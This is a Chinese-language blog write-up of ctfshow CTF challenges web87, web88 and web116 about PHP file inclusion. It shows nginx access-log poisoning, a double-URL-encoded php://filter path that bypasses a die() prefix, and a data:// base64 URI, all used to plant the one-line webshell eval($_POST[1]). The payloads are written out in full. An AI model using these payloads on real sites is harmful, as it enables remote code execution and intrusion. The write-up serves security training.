nginx 常用的配置文件有两种: access.log 和 error.log

access.log 的作用是 记录用户所有的访问请求,不论状态码,包括200
,404,500等请求,404,500的请求并不会出现在error.log中。

error.log 的作用是 记录nginx
本身运行时的一些错误,不会记录用户访问的请求。比如记录模块错误信息日志,以及nginx配置文件的错误日志等,格式不支持自定义,可以设置级别。

访问时添加UA头部:****
url/?file=/var/log/nginx/access.log里,然后一句话木马链接得到flag。
1

web87

参考文章:谈一谈php://filter的妙用

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

php,data,;,.,都被过滤了,并且输出的内容会进行url解码,因此我们要对参数进行2次url编码。
可以使用filter协议写入文件a.phpphp://filter/write=convert.base64-decode/resource=a.php但是这段内容需要进行2次url编码。也就是%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

POST内容进行base-64编码。content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是”
base64 4位4位解码,其中”“解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

Base64,顾名思义,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号”+”、”/“一共64个字符的字符集

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,filter协议不能用了,input协议也不能用,但是data协议可以。
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw
PD9waHAgZXZhbCgkX1BPU1RbMV0pOw是<?php eval($_POST[1]); base64编码
1
执行成功。

web116

发现要下载文件,下载之后原来是mp4文件,播放到后面发现有问题,题目提示说MISC+文件包含。那我就放入010中看看
1发现有png文件,提取出来发现源码。
2直接读取flag。
1

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信